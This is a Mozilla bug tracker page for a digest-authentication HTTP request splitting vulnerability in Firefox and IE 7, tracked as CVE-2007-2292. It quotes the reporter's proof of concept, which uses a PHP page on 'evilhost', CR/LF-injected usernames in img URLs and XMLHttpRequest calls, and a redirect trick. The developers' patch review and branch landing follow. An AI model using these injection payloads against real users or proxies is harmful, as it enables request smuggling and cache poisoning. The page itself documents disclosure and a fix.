Last Comment Bug 378787 - (CVE-2007-2292) IE 7 and Firefox Browsers Digest Authentication Request Splitting
: IE 7 and Firefox Browsers Digest Authentication Request Splitting
[sg:high] need branch patch
: fixed1.8.0.15, fixed1.8.1.8
Product: Core
Classification: Components
Component: Networking: HTTP (show other bugs)
: unspecified
: All All
-- normal (vote)
: mozilla1.9alpha5
Assigned To: Robert Sayre
: Patrick McManus [:mcmanus]
Depends on: 379883
  Show dependency treegraph
Reported: 2007-04-25 14:14 PDT by chris hofmann
Modified: 2008-03-20 09:20 PDT (History)
11 users (show)
dveditz: blocking1.8.1.8+
See Also:
Crash Signature:
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---

disallow control characters (5.39 KB, patch)
2007-04-26 09:23 PDT, Robert Sayre
cbiesinger: review-
Details | Diff | Splinter Review
disallow control characters, v2 (5.04 KB, patch)
2007-04-27 08:13 PDT, Robert Sayre
no flags Details | Diff | Splinter Review
patch with tests (12.86 KB, patch)
2007-04-28 07:18 PDT, Robert Sayre
no flags Details | Diff | Splinter Review
fix nits (12.93 KB, patch)
2007-04-28 07:28 PDT, Robert Sayre
cbiesinger: review+
Details | Diff | Splinter Review
address biesi's comments (13.03 KB, patch)
2007-04-28 12:47 PDT, Robert Sayre
brendan: superreview+
Details | Diff | Splinter Review
patch to check in, with brendan's comment (13.01 KB, patch)
2007-05-03 20:21 PDT, Robert Sayre
no flags Details | Diff | Splinter Review
branch patch (5.13 KB, patch)
2007-10-02 20:21 PDT, Robert Sayre
dveditz: approval1.8.1.8+
Details | Diff | Splinter Review

Description User image chris hofmann 2007-04-25 14:14:00 PDT
reported at the URL listed and mail to by

IE 7 and Firefox Browsers Digest Authentication
Original Discovery and Research:
Stefano Di Paola
Internet Explorer 7.0.5730.11
Mozilla Firefox
Vendor :
Type of Vulnerability:
HTTP Request Splitting
Tested On :
Firefox under Windows XP SP2,
Firefox under Ubuntu 6.06,
Internet Explorer SP2 under Windows XP SP2.
Discovery Date :
Release Date :
I) Short description

Firefox and Internet Explorer are prone to Http Request Splitting when
Digest Authentication occurs. If anyone wants to know about HTTP Request
Splitting, HTTP Request Splitting attacks are described in various
papers and advisories:
4. (PDF, About Auto Injection with Req.Split.)

II) Long description

As explained in Rfc2617 ( Digest
Authentication is a more secure way to exchange user credentials.

Rfc uses the following example:


The first time the client requests the document, no Authorization
header is sent, so the server responds with:

      HTTP/1.1 401 Unauthorized
      WWW-Authenticate: Digest

The client may prompt the user for the username and password, after
which it will respond with a new request, including the following
Authorization header:

Authorization: Digest username="Mufasa",


So there's a response by the client (browser) with username in clear.

There are two ways to send credentials in html/javascript:

XMLHttpRequest("GET","page",async, "user","pass");

And with img/iframes or related:

<img src="http://user:pass@host/page">

But what if the username contains \r\n or urlencoded %0d%0a?

Let's use an Evil page like this:

--8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8<

header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
 header('HTTP/1.0 401 Authorization Required");
 header('WWW-Authenticate: Digest realm="", \
qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\
 header('Proxy-Connection: keep-alive');
} else {
 // header("Set-Cookie: PHPSESSID=0");
header('Connection: keep-alive');
<meta http-equiv='Connection' content="keep-alive"></head>
// Some Printing in order to show document DOM properties
// in the poisoned page
for(var i in document)
document.write(i+' '+eval('document.'+i)+'<br>');


Which asks for a digest authentication only once.

III) Direct URL Authentication

Let's try it with Firefox:

<img  src="http://user%0aname:pp@evilhost/req.php">

Let's see what happens after the first request:


HTTP/1.1 401 Authorization Required
Set-Cookie: PHPSESSID=6555
WWW-Authenticate: Digest realm="", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"
Proxy-Connection: keep-alive
Connection: keep-alive, Keep-Alive
Content-Length: 146
Keep-Alive: timeout=15, max=100
Content-Type: text/html; charset=UTF-8


and then Firefox resend its request:


GET /req.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:
Gecko/20060601 Firefox/ (Ubuntu-edgy)
Keep-Alive: 300
Connection: keep-alive
Authorization: Digest username="user
name", realm="", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745"
Cookie: PHPSESSID=6555


Everyone can see there's a splitting where the %0a was.

The rest of the story is straightforward, an attacker could inject a
second request, and in presence of a proxy (about 2 million people use
it), a request splitting attack could be accomplished.

IV) Firefox Add-On

A redirection could be used:

<img  src="http://evilhost/redir.php">

With redir.php :

header("Location: http://user%0aname:ds@avilhost/req.php");

Or by using various redirectors around the web.

Note: Internet Explorer 7 is not vulnerable with imgs nor with other
direct requests.

V) XMLHttpRequest Authentication

IE 7 and Firefox are both vulnerable. Let's use a standard request
with XMLHttpRequest:


x=new XMLHttpRequest();"POST","req.php?",false,"user\r\nname","pass");
x.onreadystatechange=function (){
   if (x.readyState == 4){

// The payload with a request to a page with evil content


This will result in a similar splitting like the one with images tags.

What you could do with these splittings? A lot, for example in the presence 
of a proxy the local proxy cache could be poisoned.
The previous references details this and other attacks.

Note: there is some difference between IE and Firefox, but it'll 
be left as an exercise for the reader.
Comment 1 User image Robert Sayre 2007-04-26 09:23:35 PDT
Created attachment 262903 [details] [diff] [review]
disallow control characters
Comment 2 User image Robert Sayre 2007-04-26 09:26:58 PDT
Comment on attachment 262903 [details] [diff] [review]
disallow control characters

the spec claims that these fields can allow control characters through backslash escaping. I am skeptical, and Apache sent me a 400 Bad Request error when I tried it. I think we should just disallow them, since all the guides on implementing this stuff tell you to avoid them and our current behavior is definitely incorrect.
Comment 3 User image Christian :Biesinger (don't email me, ping me on IRC) 2007-04-26 12:18:28 PDT
Comment on attachment 262903 [details] [diff] [review]
disallow control characters

- I'd change the semantics of QuotedString so that it appends the quoted string to the second argument (and change the name to AppendQuotedString), in an attempt to make the caller's code more readable

+  rv =QuotedString(realm, quotedString);

missing space after = here

+  authString.AppendLiteral("\"");


+    rv =QuotedString(cnonce, quotedString);

missing space here again

+  const nsAFlatCString& param = PromiseFlatCString(value);

doesn't look like you need PromiseFlatCString here

+  quoted.AppendLiteral("\"");


need some testcases too :-)
Comment 4 User image Robert Sayre 2007-04-27 08:13:00 PDT
Created attachment 263023 [details] [diff] [review]
disallow control characters, v2

tests coming up
Comment 5 User image Robert Sayre 2007-04-28 07:18:02 PDT
Created attachment 263132 [details] [diff] [review]
patch with tests

practice what you preach
Comment 6 User image Robert Sayre 2007-04-28 07:28:03 PDT
Created attachment 263134 [details] [diff] [review]
fix nits
Comment 7 User image Christian :Biesinger (don't email me, ping me on IRC) 2007-04-28 11:55:43 PDT
Comment on attachment 263134 [details] [diff] [review]
fix nits

+  listener.expectedCode = 401; // OK

401 is not OK :)

+   Components.classes[""].
+     createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

style here is:
+   Components.classes[""]
+             .createInstance(Components.interfaces.nsIScriptableUnicodeConverter);

(also for the nsICryptoHash case)

Don't you need to send WWW-Authenticate even if the client sends Authorization? See RFC 2616 10.4.2

+  listener.shouldThrow = true;

+  listener.shouldThrow = true;

Hm, I don't see this used anywhere?
Comment 8 User image Robert Sayre 2007-04-28 12:47:01 PDT
Created attachment 263151 [details] [diff] [review]
address biesi's comments
Comment 9 User image Brendan Eich [:brendan] 2007-05-03 19:43:23 PDT
Comment on attachment 263151 [details] [diff] [review]
address biesi's comments

>+  //XXX We should RFC2047-encode non-Latin-1 values according to spec

Better than XXX, Nat Friedman advocates FIXME: bug number, after filing that followup bug. sr=me with that.

Comment 10 User image Robert Sayre 2007-05-03 20:21:02 PDT
Created attachment 263687 [details] [diff] [review]
patch to check in, with brendan's comment

The comment now includes a reference to the i18n train wreck known as bug 41489.
Comment 11 User image Robert Sayre 2007-05-03 20:32:48 PDT
Checking in protocol/http/src/nsHttpDigestAuth.cpp;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.cpp,v  <--  nsHttpDigestAuth.cpp
new revision: 1.28; previous revision: 1.27
Checking in protocol/http/src/nsHttpDigestAuth.h;
/cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.h,v  <--  nsHttpDigestAuth.h
new revision: 1.9; previous revision: 1.8
Checking in test/unit/test_authentication.js;
/cvsroot/mozilla/netwerk/test/unit/test_authentication.js,v  <--  test_authentication.js
new revision: 1.9; previous revision: 1.8
Comment 12 User image Robert Sayre 2007-05-03 20:33:40 PDT
requesting blocking on these so they don't slip through the cracks
Comment 13 User image Robert Sayre 2007-05-03 20:45:01 PDT
There are Web compat hazards here--a branch patch might need to limit the banned characters to CR. I would add LF to that list, but I fear that people might actually get by with a bare LF today. :/
Comment 14 User image chris hofmann 2007-05-04 10:57:44 PDT
what would be the best way to test/get a handle on the extent of the compatibility problems?
Comment 15 User image Robert Sayre 2007-05-24 09:52:27 PDT
(In reply to comment #14)
> what would be the best way to test/get a handle on the extent of the
> compatibility problems?

I don't think there is a way to observe it, unfortunately. We haven't had any reports of broken credentials on trunk, though.

makes the recommendation to disallow CR, LF, and NUL... but I don't see why we should allow any control characters here. I will ask them.
Comment 16 User image Robert Sayre 2007-05-25 19:11:18 PDT
(In reply to comment #15)
>  I will ask them.

No one came forward to state that they rely on escaped control characters here, and the Squid maintainer claimed no one accepted them anyway. I think we should take this on the branch.

Comment 17 User image Daniel Veditz [:dveditz] 2007-07-09 15:29:34 PDT
Do we need a separate branch patch for this, or can it go in as-is?
Comment 18 User image Robert Sayre 2007-07-11 12:37:59 PDT
(In reply to comment #17)
> Do we need a separate branch patch for this, or can it go in as-is?

I'm not sure. I'll have to try making one and see.
Comment 19 User image Daniel Veditz [:dveditz] 2007-07-11 15:26:21 PDT
tree closing early for, moving unfinished branch bugs to next release.
Comment 20 User image Robert Sayre 2007-10-02 20:21:59 PDT
Created attachment 283298 [details] [diff] [review]
branch patch

almost applied cleanly to the branch: .h file context was a bit different, .cpp was fine.
Comment 21 User image Daniel Veditz [:dveditz] 2007-10-02 21:46:49 PDT
Comment on attachment 283298 [details] [diff] [review]
branch patch

approved for, a=dveditz
Comment 22 User image Alexander Sack 2008-02-28 06:53:59 PST
Comment on attachment 283298 [details] [diff] [review]
branch patch

a=asac for

(same as shipped by distros for some time)
Comment 23 User image Christopher Aillon (sabbatical, not receiving bugmail) 2008-03-20 09:20:44 PDT
fixed on 1.8.0 branch

Note You need to log in before you can comment on or make changes to this bug.